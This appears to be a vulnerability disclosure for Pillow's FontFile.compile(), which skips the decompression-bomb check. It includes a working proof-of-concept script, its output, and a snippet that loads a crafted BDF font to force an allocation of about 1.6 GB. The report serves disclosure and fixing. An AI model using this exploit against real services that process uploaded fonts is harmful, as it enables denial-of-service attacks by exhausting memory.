Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

 1def compile(self) -> None:
 2    if self.bitmap:
 3        return
 4 
 5    h = w = maxwidth = 0
 6    lines = 1
 7    for glyph in self.glyph:              # up to 256 glyph slots
 8        if glyph:
 9            d, dst, src, im = glyph
10            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
11            w = w + (src[2] - src[0])
12            if w > WIDTH:                  # WIDTH = 800
13                lines += 1
14                w = src[2] - src[0]
15            maxwidth = max(maxwidth, w)
16 
17    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
18    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960
19 
20    if xsize == 0 and ysize == 0:
21        return
22 
23    self.ysize = h
24    # NO _decompression_bomb_check() here ←
25    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

 1#!/usr/bin/env python3
 2"""
 3PoC: FontFile.compile() bomb bypass
 4256 glyphs at 800x875 each (individually below warning threshold)
 5→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
 6"""
 7from PIL import FontFile, Image
 8 
 9MAX_GLYPHS = 256
10GLYPH_W    = 800
11GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold
12 
13class MockFont(FontFile.FontFile):
14    def __init__(self):
15        super().__init__()
16        # Each glyph is individually safe (700K px < 89.4M warning)
17        im = Image.new("1", (GLYPH_W, GLYPH_H))
18        for i in range(MAX_GLYPHS):
19            self.glyph[i] = (
20                (GLYPH_W, GLYPH_H),
21                (0, -GLYPH_H, GLYPH_W, 0),
22                (0, 0,        GLYPH_W, GLYPH_H),
23                im,
24            )
25 
26# Confirm bomb check WOULD catch the combined size
27combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
28try:
29    Image._decompression_bomb_check(combined_size)
30    print("[FAIL] bomb check did not raise — unexpected")
31except Image.DecompressionBombError as e:
32    print(f"[OK] bomb check WOULD block {combined_size}: {e}")
33 
34# Vulnerable path: compile() has NO bomb check
35font = MockFont()
36font.compile()   # → Image.new("1", (800, 224000)) — no error raised
37 
38px = font.bitmap.size[0] * font.bitmap.size[1]
39threshold = Image.MAX_IMAGE_PIXELS * 2
40print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
41print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
42print(f"         No DecompressionBombError raised at any point.")

 1[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
 2of 178956970 pixels, could be decompression bomb DOS attack.
 3[BYPASS] compile() succeeded: bitmap=(800, 224000)
 4         pixels=179,200,000  (1.001× DecompressionBombError threshold)
 5         No DecompressionBombError raised at any point.

 1from PIL import BdfFontFile
 2import io
 3 
 4# Load a crafted BDF font with 256 glyphs each claiming height=65535
 5# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
 6# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
 7font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
 8font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check